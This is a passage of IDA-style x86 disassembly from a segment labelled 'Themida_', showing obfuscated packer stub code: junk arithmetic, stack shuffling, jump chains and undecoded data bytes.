		dd 0FF8811E9h, 6870BDFFh, 0A9E97B74h, 68FFFF5Bh, 37E7h
		dd 83243C89h, 10E904ECh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BC1B:				; CODE XREF: Themida_:00566E3Dj
		pop	ecx
		jmp	loc_5709CB
; ---------------------------------------------------------------------------
aBBn5h		db 'êbN',0Bh,'5h',0
		align 4
		dd 0FFF936E9h, 0E28952FFh, 6F1D68h, 240C8900h, 63E9E189h
		dd 0FEFFFF4Ah, 0E99C240Ch, 0FFFFC080h, 81C2015Bh, 657949C2h
		dd 0EC9EE917h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BC5A:				; CODE XREF: Themida_:0056923Aj
		xor	edi, 17F57121h
		add	edx, 9480838h
		push	esi
		mov	esi, 492E3DC6h
		not	esi
		xor	esi, 841EC451h
		sub	edx, esi
		pop	esi
		jmp	loc_561C5E
; ---------------------------------------------------------------------------
		dd 4EC835Fh, 0BB241C89h, 2, 47C5E9h, 0D7015E00h, 1795EF81h
		dd 34FF619Ah, 0EE40E924h, 0C33FFFFh, 24248B24h,	53E1F766h
		dd 6798E9h, 0C3815C00h,	193F710Ch, 0FF14DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BCB9:				; CODE XREF: Themida_:0056A0D6j
		pop	ebp
		jmp	loc_55D40D
; ---------------------------------------------------------------------------
		db 52h
		dd 4BE56h, 0F2890000h, 5AD3015Eh, 52E68956h, 374A37BAh
		dd 8BE94A58h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BCDB:				; CODE XREF: Themida_:00564B2Dj
		mov	[esp], ebx
		mov	ebx, 3C610F7Eh
		mov	eax, ebx
		pop	ebx
		and	eax, 415B4A83h
		neg	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4C21145Ah
		and	eax, ebp
		pop	ebp
		jmp	loc_568592
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240481h,	0E9000000h, 10F4h
; ---------------------------------------------------------------------------


loc_56BD10:				; CODE XREF: Themida_:0056440Dj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_564E03
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 1CD36659h, 9AE99C24h
		db 11h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BD2B:				; CODE XREF: Themida_:00565D12j
		xor	ebx, [esp]
		jmp	loc_5683E3
; ---------------------------------------------------------------------------
		db 68h
		dd 36A9h, 54243C89h, 0FF8E1DE9h, 16859FFh, 89000034h, 0EC812404h
		dd 4, 0FFFFABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BD55:				; CODE XREF: Themida_:00571594j
		add	eax, edx
		jmp	loc_561FF1
; ---------------------------------------------------------------------------
		dd 3304C483h, 0BEE9241Ch, 0FF000063h, 0E95A2434h, 0FFFF15B2h
		dd 4770E957h, 0C7810000h, 5D3B7943h, 0E3BE6851h, 159CFFAh
		dd 0F80159CFh, 8BC6015Fh, 0C4832404h, 0C482E904h, 65B7FFFFh
		dd 85BF888h, 48B66C6h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8702h, 5024248Bh, 88F18851h, 0D4F659CCh,	0FF8187E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BDC1:				; CODE XREF: Themida_:005652FBj
		pop	edi
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_571E30
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF6149h, 0F8E9D031h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56BDDF:				; CODE XREF: Themida_:005712D7j
		and	eax, 75977CF3h
		dec	eax
		xor	eax, 610220C4h
		jmp	loc_565D00
; ---------------------------------------------------------------------------
		db 81h
		dd 7F492CC7h, 242C8B77h, 6804C483h, 21B4h, 68242C89h, 2
		dd 1AE9565Dh, 8BFFFF8Ch, 89512414h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 8124248Bh, 3A5A9CC2h, 0A677E924h, 1C89FFFFh
		dd 7AE95124h, 5FFFFF18h, 8104C483h, 2658AAE9h, 3D69E973h
		dd 34FFFFFFh, 0DD21E924h, 0EAC1FFFFh, 91C28102h, 0E9CA7061h
		dd 8C0h
; ---------------------------------------------------------------------------


loc_56BE60:				; CODE XREF: Themida_:00563DDDj
		mov	edx, esp
		jmp	loc_569224
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 0C259E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BE72:				; CODE XREF: Themida_:00562BD5j
		mov	[esp], edi
		push	79C94B26h
		jmp	loc_57218E
; ---------------------------------------------------------------------------
		db 59h
		dd 2474FF52h, 48F5A04h,	24248B24h, 9C2424D3h, 0FF1030E9h
		dd 0E9D301FFh, 0FFFF67DDh, 3BBFC781h, 0A1E92C8Fh
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BEA7:				; CODE XREF: Themida_:00561C59j
		not	edi
		push	edx
		push	edi
		jmp	loc_56D89A
; ---------------------------------------------------------------------------
		dd 8616F6BEh, 2FC6811Ch, 0C1003A50h, 0D6F702E6h, 0FFAFAAE9h
		dd 726BEFFh, 0F7316595h, 45EB815Eh, 114C26Dh, 4C05E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BEDA:				; CODE XREF: Themida_:0057006Ej
		xor	esi, 3B0021E3h
		add	edi, esi
		pop	esi
		add	edi, edx
		sub	edi, 658B4E1Ah
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_567ABC
; ---------------------------------------------------------------------------
		dd 8241A0B9h, 502CE949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BF06:				; CODE XREF: Themida_:00565F50j
		add	edx, 62753CBAh
		add	edx, ebp
		sub	edx, 62753CBAh
		jmp	loc_56A480
; ---------------------------------------------------------------------------
		db 1, 0D0h, 0E9h
		dd 310Ch, 9D1C77FFh, 1CD25966h,	0FEE99C24h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BF2F:				; CODE XREF: Themida_:0056CA2Cj
		push	ebx
		mov	ebx, 0
		sub	ebx, ebp
		jmp	loc_56C24F
; ---------------------------------------------------------------------------
		dd 782CFF04h, 8058C500h, 0EC834CF5h, 24148904h,	0CE801EB6h
		dd 1DF680A8h, 5314CE80h, 8054B450h, 0DCF686C4h,	0E908ECC0h
		dd 48F0h, 0E9028F66h, 0FFFFC156h, 8904EC83h, 5D54242Ch
		dd 48C5E950h, 48F0000h,	0D3665C24h, 0E99C240Ch,	0FFFF1A43h
		dd 0E95DE921h, 0FFFFC68Ah, 8324048Bh, 895104C4h, 4C181E1h
		dd 51000000h, 0C181E189h, 4, 8704E983h,	895C240Ch, 0FDE9242Ch
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BFBB:				; CODE XREF: Themida_:0056988Cj
		mov	ebp, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	ecx
		jmp	loc_56C188
; ---------------------------------------------------------------------------
		dw 295Dh
		dd 0EC815FFDh, 4, 0B9240C89h, 6299CBA4h, 0FF56EAE9h, 2C895CFFh
		dd 0A2E95424h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BFEB:				; CODE XREF: Themida_:0055DDF1j
		mov	[esp], eax
		push	ecx
		push	eax
		mov	ah, dl
		jmp	loc_5631FF
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 18A1h, 54240C89h,	592434FFh, 81E28952h, 4C2h
		dd 21E6E900h, 0C381FFFFh, 4, 2B951h, 0CB290000h, 241C8759h
		dd 0FF70D8E9h, 5F6405FFh, 0C321CA90h, 4EC8358h,	0BA241489h
		dd 2A421F6h, 46EA8142h,	81BB0B1Fh, 0A7FD1C3h, 81D30121h
		dd 0A7FD1EBh, 364CE921h, 42D0000h, 87000000h, 0E95C2404h
		dd 0FFFFB7C4h
; ---------------------------------------------------------------------------


loc_56C068:				; CODE XREF: Themida_:0055D883j
		mov	edi, 0A865182h
		sub	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56FE1D
; ---------------------------------------------------------------------------
		dd 0FBBF5751h, 0B97E031Ah, 0CF7E41D1h, 95E9F929h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C093:				; CODE XREF: Themida_:0056E1BFj
		sub	esp, 4
		mov	[esp], ecx
		push	3A0Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55E703
; ---------------------------------------------------------------------------
		db 68h,	19h, 2Eh
		dd 34890000h, 4EC8124h,	89000000h, 75E9242Ch
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C0CF:				; CODE XREF: Themida_:00562018j
		xor	eax, ecx
		jmp	loc_571662
; ---------------------------------------------------------------------------
		dw 7468h
		dd 8B5EAA62h, 0C483240Ch, 58C3E904h, 0F381FFFFh, 72956321h
		dd 5D21BE56h, 1AE9356Bh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C0F7:				; CODE XREF: Themida_:005671D2j
		add	esp, 4
		jmp	loc_5608AA
; ---------------------------------------------------------------------------
		db 89h
		dd 0C1815BD9h, 64657246h, 0E981F929h, 64657246h, 0FF3EC8E9h
		dd 2055FFFh, 50000000h,	42474FFh, 0FF8347E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C125:				; CODE XREF: Themida_:0056D466j
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_565DED
; ---------------------------------------------------------------------------
		dw 0EBC0h
		dd 2D5AE904h, 0EB090000h, 40A7E9h, 81D9F700h, 6F5357E1h
		dd 4E1C105h, 569CC181h,	0CD291969h, 81240C8Bh, 4C4h, 0F7ED8100h
		dd 0E9489362h, 1739h
; ---------------------------------------------------------------------------


loc_56C170:				; CODE XREF: Themida_:0056ECBFj
		pop	ecx
		pop	edi
		push	ebx
		mov	ebx, 4A4511Ch
		add	edi, ebx
		pop	ebx
		push	edi
		pop	eax
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_55E09A
; ---------------------------------------------------------------------------


loc_56C188:				; CODE XREF: Themida_:0056BFC5j
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 1E914BFFh
		dec	eax
		dec	eax
		shr	eax, 3
		xor	eax, 21D0546Fh
		shl	eax, 6
		add	eax, 7F60BC04h
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_57155F
; ---------------------------------------------------------------------------


loc_56C1CD:				; CODE XREF: Themida_:0056E9B1j
		sub	esi, ecx
		add	esi, 3CCF49A0h
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		and	eax, esi
		pop	esi
		jmp	loc_55DE96
; ---------------------------------------------------------------------------


loc_56C1E7:				; CODE XREF: Themida_:0056B4F4j
		mov	ebx, 66C678B7h
		jmp	loc_55D0E1
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0D7h
		dd 296C594Fh, 0F7015AD7h, 4FD7C781h, 875E6C59h,	248B243Ch
		dd 2424D324h, 0FF80E1E9h, 240C8BFFh, 2CAB68h, 240C8900h
		dd 5355E189h, 6826AEBBh, 2370E93Bh, 0EA81FFFFh,	0E5AD1A34h
		dd 0E95AD689h, 0FFFF11DCh, 8104E6C1h, 2C3D39F6h, 0E9F029C6h
		dd 29AEh, 3AE9D9F6h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C24F:				; CODE XREF: Themida_:0056BF37j
		mov	ebp, ebx
		pop	ebx
		add	ebp, 781A54A2h
		sub	esi, ebp
		pop	ebp
		add	esi, 904E58AFh
		push	esi
		pop	edi
		pop	esi
		add	[esp+4], edi
		jmp	loc_571300
; ---------------------------------------------------------------------------


loc_56C26D:				; CODE XREF: Themida_:00570074j
		mov	ecx, 6A7E5E79h
		jmp	loc_56148D
; ---------------------------------------------------------------------------
		db 5Ah
		dd 31240C33h, 8DE9240Ch, 50FFFF0Fh, 0FEFAB652h,	59EE80CEh
		dd 0F6BEEE80h, 0F48850D6h, 0E688CCFEh, 8DC68058h, 0FFCA5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C2A1:				; CODE XREF: Themida_:00568F4Ej
		mov	ebp, [esp]
		jmp	loc_56D94D
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 61h
		dd 0E933E04Ch, 0FFFF6D48h, 665AA72Ch, 0E924148Bh, 0FFFF574Dh
; ---------------------------------------------------------------------------


loc_56C2C0:				; CODE XREF: Themida_:0055E083j
		neg	ecx
		add	ecx, 2EE6466Ch
		jmp	loc_56C727
; ---------------------------------------------------------------------------


loc_56C2CD:				; CODE XREF: Themida_:005676CCj
		mov	ebp, 60CA4369h
		jmp	loc_567A0F
; ---------------------------------------------------------------------------
		db 81h
		dd 0C92FE0C2h, 0E9FA0139h, 3511h
; ---------------------------------------------------------------------------


loc_56C2E4:				; CODE XREF: Themida_:005627EBj
		or	edi, ecx
		jmp	loc_570654
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0F58003EDh, 1EE9517Dh
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C2F7:				; CODE XREF: Themida_:00560CA7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edi, 2
		jmp	loc_55FD33
; ---------------------------------------------------------------------------
aZhs		db 'Zhé,',0
		align 2
		dw 3489h
		dd 1FE95024h, 89FFFFBDh, 8B54240Ch, 0C483240Ch,	4C18104h
		dd 81000000h, 2C1h, 240C8700h, 83C3005Ch, 48904ECh, 0EB65224h
		dd 43B450h, 55E958E6h, 0F7FFFF25h, 0FFED81D5h, 68FFFFFFh
		dd 6874h, 0BA241489h, 74C42A83h, 0C693C281h, 0D529B4C7h
		dd 0E924148Bh, 6161h, 8105E9C1h, 0F32ECF1h, 4EC834Ch, 50243C89h
		dd 1F337168h, 2959E97Eh, 0B951FFFFh, 21B80977h,	0C159C821h
		dd 520503E0h, 89F67FF4h, 0BD5558C6h, 799C668Ch,	8DC58145h
		dd 534A2070h, 0AAAE19BBh, 5BDD2970h, 0E95DEA29h, 57E9h
; ---------------------------------------------------------------------------


loc_56C3BC:				; CODE XREF: Themida_:00563C41j
		xor	edx, esi
		pop	esi
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		jmp	loc_568636
; ---------------------------------------------------------------------------
		dd 815EF101h, 4C1h, 240C8700h, 5324248Bh, 0E9585450h, 3487h
		dd 4C481h, 0ED800000h, 284B2CD6h, 0E94B04E8h, 0FFFFC3C4h
		dd 4EC83ADh, 0B9240C89h, 6E772F0Ch, 0FFA4ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C421:				; CODE XREF: Themida_:00571CC7j
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D41B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 77E8E924h, 0C6FEFFFFh, 0E91CC680h, 241Ah, 15BDD31h
		dd 0FF04246Ch, 835D2434h, 40104C4h, 0DFE95024h,	89FFFFA9h
		dd 4BB9240Ch, 810DEC21h, 0B430A3C1h, 28C18132h,	8191D372h
		dd 21F85C6h, 81CE0142h,	21F85EEh, 2434FF42h, 3548E959h
		dd 4505FFFFh, 0E967A948h, 0FFFF1117h, 33243431h, 248B2434h
		dd 241C8924h, 4BBh, 5BDD0100h, 55BD68h,	24148900h, 4D5BB5BAh
		dd 71C28103h, 0C120EE11h, 0EA8106EAh, 0FFFFFFFFh, 5003E2C1h
		dd 78925AB8h, 3CBE56FBh, 0E96F6D4Ah, 0FFFF9070h, 2434FF59h
		dd 5BBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_56C4E5:				; CODE XREF: Themida_:005622ECj
		sub	ecx, 2C6B350h
		sub	eax, ecx
		pop	ecx
		add	eax, edi
		add	eax, 7C596D0Ah
		jmp	loc_5611F9
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 13BF74C7h, 2EE9D9F7h, 4800001Dh, 0FF5B1DE9h,	241C8BFFh
		dd 0E904C483h, 0FFFFC786h, 0B53E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C51E:				; CODE XREF: Themida_:0056A1A5j
		add	esp, 4
		push	73E8h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_568137
; ---------------------------------------------------------------------------
aS9		db ']éÅ9',0
		dw 8900h
		dd 2A20E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C542:				; CODE XREF: Themida_:00561E3Cj
		push	eax
		jmp	loc_56718D
; ---------------------------------------------------------------------------


loc_56C548:				; CODE XREF: Themida_:0056C86Bj
		mov	ebp, 4
		sub	edx, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55F04F
; ---------------------------------------------------------------------------
aWh9		db 'Wh¼9',0
		align 10h
aIHa		db '‰$$h ',8,0
		align 4
		dd 89243C89h, 0FE956E7h, 51FFFF12h, 0FF63F5E9h,	0E9C158FFh
		dd 0C200E904h, 0C89FFFFh, 0C07AB524h, 0DD8603EDh, 80B5B450h
		dd 0D4F66DC4h, 52D7CC80h, 0EA8031B2h, 0E9D42851h, 0FFFF6FB6h
; ---------------------------------------------------------------------------


loc_56C5A4:				; CODE XREF: Themida_:0055F0B2j
		pop	eax
		add	eax, 84958ECh
		mov	edx, eax
		pop	eax
		or	edx, 50512FCBh
		neg	edx
		jmp	loc_55E32A
; ---------------------------------------------------------------------------
		dw 1489h
aHbdA		db '$ºÀ',8,8,'hD$',8,'A',0
		dd 54016D82h, 6C810824h, 410824h, 148B6D82h, 3577E924h
		dd 0BD550000h, 2C033FA4h, 0ED81D5F7h, 0FFFFFFFFh, 0C583E5D1h
		dd 2ACD8101h, 81502B28h, 45749C5h, 13EB8108h, 0E95F9D1Ch
		dd 4CAFh, 2213C005h, 0EC835B64h, 241C8904h, 1D226851h
		dd 57593EDCh, 8952CF89h, 8BD389FAh, 40E92414h, 8BFFFFDDh
		dd 0C4832434h, 242C3304h, 33242C31h, 248B242Ch,	24040024h
		dd 87FE99Ch, 0C483FFFFh, 0C1DDF704h, 0BF5704EDh, 52A330BFh
		dd 60F7814Fh, 0E922DC19h, 0FFFF53A5h, 6F4DF781h, 0FB290A81h
		dd 0E9DF015Fh, 5B2Bh
; ---------------------------------------------------------------------------


loc_56C670:				; CODE XREF: Themida_:0055D9AAj
		pop	ebp
		push	esi
		mov	esi, 60267CD3h
		sub	edi, esi
		pop	esi
		dec	edi
		push	edi
		jmp	loc_56FB16
; ---------------------------------------------------------------------------
		db 5Bh,	57h, 0BFh
		dd 6EFA569Bh, 4EE9FD01h, 89FFFF93h, 4C381E3h, 0E9000000h
		dd 0FFFFA80Fh, 5B2434FFh, 0FFCC56E9h, 595451FFh, 4EC81h
		dd 4890000h, 1858E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C6B6:				; CODE XREF: Themida_:0055FD74j
		shl	ebp, 2
		sub	ebp, 0FF491D6Bh
		mov	ecx, ebp
		jmp	loc_560716
; ---------------------------------------------------------------------------


loc_56C6C6:				; CODE XREF: Themida_:0057238Fj
		pop	edi
		add	esi, 4
		jmp	loc_56EADE
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0CC8018h, 809BF480h,	6AE9AFECh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C6DF:				; CODE XREF: Themida_:00571E0Aj
		push	edi
		mov	edi, 5ED45B51h
		mov	esi, edi
		pop	edi
		inc	esi
		shl	esi, 3
		add	esi, 95D2574h
		jmp	loc_56DCFA
; ---------------------------------------------------------------------------


loc_56C6F7:				; CODE XREF: Themida_:00565DFDj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	38067664h
		pop	esi
		jmp	loc_560E55
; ---------------------------------------------------------------------------
		dd 2434895Ch, 0E9555E54h, 0FFFFF4E1h, 47E9D131h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C727:				; CODE XREF: Themida_:0056C2C8j
		push	esi
		mov	esi, 58254CE8h
		and	esi, 4220032Dh
		sub	esi, 541A126Bh
		jmp	loc_562AF3
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 0C78159CFh, 4, 8904EC83h, 74FF243Ch,	8F5F0424h, 248B2404h
		dd 4722E924h, 2C330000h, 242C3124h, 0FF099EE9h,	0E9E901FFh
		dd 0FFFF8687h, 8247401h, 4EC815Eh, 0E9000000h, 1C2Dh, 6824248Bh
		dd 388Dh, 8F240489h, 34FF4047h,	2632E924h, 895CFFFFh, 4BB241Ch
		dd 1000000h, 0E9835BD9h, 240C3304h, 33240C31h, 895C240Ch
		dd 5A542414h, 73B368h, 8E84E900h, 2C87FFFFh, 34895C24h
		dd 7D92E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C7CA:				; CODE XREF: Themida_:0056CC07j
		or	ebp, ebx
		jmp	loc_560369
; ---------------------------------------------------------------------------
		db 66h,	0B9h, 2Eh
		dd 0C181661Ah, 81661033h, 664484E9h, 331EF181h,	0B7C98166h
		dd 0C1816648h, 8166FFFFh, 663414C1h, 0FF59CB29h, 0E9592434h
		dd 0FFFF1255h
; ---------------------------------------------------------------------------


loc_56C800:				; CODE XREF: Themida_:0056EC22j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55E6B8
; ---------------------------------------------------------------------------
		dd 195368h, 20A6E900h, 0AD660000h, 59685366h, 0E9000011h
		dd 0FFFF8E6Dh, 8324148Bh, 41E904C4h, 66FFFFA4h,	6866F1F7h
		dd 89665EDEh, 50662414h, 15CBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C846:				; CODE XREF: Themida_:0056D409j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 4
		jmp	loc_56BBB3
; ---------------------------------------------------------------------------


loc_56C867:				; CODE XREF: Themida_:0056E73Dj
		add	edx, ebx
		pop	ebx
		push	ebp
		jmp	loc_56C548
; ---------------------------------------------------------------------------
		dd 5124248Bh, 747544B9h, 72E1815Fh, 8170FF3Dh, 8F4AB1C9h
		dd 0C1D9F73Ah, 35E908E1h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C88F:				; CODE XREF: Themida_:00561918j
		mov	ebp, 2E2249h
		or	ebp, 1D380E0Fh
		xor	ebp, 1F15610Ch
		or	ebx, ebp
		pop	ebp
		jmp	loc_56A24D
; ---------------------------------------------------------------------------


loc_56C8A8:				; CODE XREF: Themida_:0057059Ej
		push	635777D7h
		pop	ebx
		jmp	loc_57220F
; ---------------------------------------------------------------------------
		db 80h
		dd 0E5C092F5h, 2BF9E904h, 0C5810000h, 148396Ah,	24426850h
		dd 48583AFDh, 850D4848h, 2D136C6Ch, 0FC25F443h,	8158C501h
		dd 0DEFB2FEDh, 3241E99Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C8E6:				; CODE XREF: Themida_:0056CB5Ej
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	1
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_570626
; ---------------------------------------------------------------------------


loc_56C90C:				; CODE XREF: Themida_:0056CAE2j
		add	ebx, 8120D51h
		jmp	loc_565EA0
; ---------------------------------------------------------------------------


loc_56C917:				; CODE XREF: Themida_:0056860Ej
		pop	ebp
		add	eax, 4DD21BEBh
		add	eax, edi
		sub	eax, 4DD21BEBh
		sub	eax, 6BB37A43h
		mov	edi, [esp]
		jmp	loc_564026
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 9680000h, 0E900004Dh, 3F4Ch,	4F696851h, 815960E0h
		dd 515876E9h, 0A4E98140h, 89AE788Eh, 55D7E9CEh,	0CF810000h
		dd 2715067Bh, 1190BD55h, 0CD81464Ah, 236C10ABh,	0FF278DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C975:				; CODE XREF: Themida_:0056B96Dj
		sub	ecx, 14A4062h
		jmp	loc_5678F0
; ---------------------------------------------------------------------------
		dd 405h, 4EC8300h, 0B9240C89h, 4, 0FF8C4FE9h, 48B66FFh
		dd 8170E924h, 34FFFFFFh, 0C4835B24h, 814B4B04h,	0EA32CFF3h
		dd 5BD98949h, 0E9FFC183h, 0FFFFAB03h
; ---------------------------------------------------------------------------


loc_56C9B8:				; CODE XREF: Themida_:00563FF2j
		mov	[esp], eax
		mov	eax, 6D38151Ah
		push	edx
		jmp	loc_5674E4
; ---------------------------------------------------------------------------
		dw 67B8h
		dd 29122F0Fh, 348DE9C1h, 0E5810000h, 4FFC74A8h,	0FFC3B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C9DD:				; CODE XREF: Themida_:00564746j
		shr	ecx, 8
		add	ecx, 3D1A369Bh
		neg	ecx
		or	ecx, 57F062BEh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 58E07A12h
		sub	ebp, 1
		push	edx
		mov	edx, 22C5099Dh
		jmp	loc_5693F3
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0FFD57CE9h, 2E983FFh, 0FF2254E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CA1D:				; CODE XREF: Themida_:005642C0j
		shl	esi, 6
		push	ebp
		mov	ebp, 25C86585h
		sub	ebp, 51CEh
		jmp	loc_56BF2F
; ---------------------------------------------------------------------------


loc_56CA31:				; CODE XREF: Themida_:0055EF1Ej
		push	edx
		jmp	loc_569372
; ---------------------------------------------------------------------------


loc_56CA37:				; CODE XREF: Themida_:00571398j
		add	esp, 4
		jmp	loc_5683B6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C18100h, 51000000h, 42474FFh,	83240C8Bh, 48F04C4h
		dd 75E95C24h, 58000005h, 5810E9h, 0E9C12100h, 0FFFFFB0Dh
		dd 8904EC83h, 5253240Ch, 0FF1954E9h, 9704FFh, 0C30058C3h
		dd 4EC81h, 0C890000h, 3771E924h, 875F0000h, 248B241Ch
		dd 14896624h, 0E95EB624h, 0FFFF9A97h, 3350BD55h, 6C293F26h
		dd 5E5D0424h, 0FF0823E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CAB1:				; CODE XREF: Themida_:005676E5j
		mov	eax, 41D560CAh
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, 50B54A08h
		or	eax, ecx
		pop	ecx
		push	0
		sub	[esp], eax
		pop	eax
		add	eax, 0F2F1D3h
		mov	edx, eax
		pop	eax
		or	edx, 3AF72F85h
		inc	edx
		xor	edx, 47C57D95h
		jmp	loc_56C90C
; ---------------------------------------------------------------------------


loc_56CAE7:				; CODE XREF: Themida_:00563D45j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55DABB
; ---------------------------------------------------------------------------
		db 0B8h, 99h, 5Dh
		dd 0C73170FBh, 0E9FE3158h, 0FFFF0786h, 2BFh, 0E9FE8900h
		dd 0FFFF66E1h, 8E9C288h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CB17:				; CODE XREF: Themida_:005601F5j
		add	esi, 0F5E96FADh
		mov	edx, esi
		pop	esi
		jmp	loc_560585
; ---------------------------------------------------------------------------
		db 5, 0B0h, 69h
		dd 42052537h, 686F0A2Bh, 2B89h,	0BE243489h, 7FEA376Ah
		dd 685EF001h, 120Dh, 68240C89h,	396E21DDh, 0FFC0BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CB51:				; CODE XREF: Themida_:00565091j
		pop	ebx
		add	esi, 1A2C528Eh
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		jmp	loc_56C8E6
; ---------------------------------------------------------------------------


loc_56CB63:				; CODE XREF: Themida_:00563FA9j
		pop	ebx
		push	81h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56939F
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2D73FC71h, 2948262Dh, 4A98E93Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CB8E:				; CODE XREF: Themida_:00565812j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55DB58
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 3C8BF901h, 4C48324h, 0FF1EBAE9h, 0C1475BFFh, 0C7E902EFh
		dd 8100004Eh, 55E1F7C6h, 5EF22967h, 53E0E9h, 5E9C000h
		dd 6866E1D0h, 8966134Ch, 41B02404h, 28B2E980h, 0B2C180C1h
		dd 3E95866h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56CBEB:				; CODE XREF: Themida_:00569152j
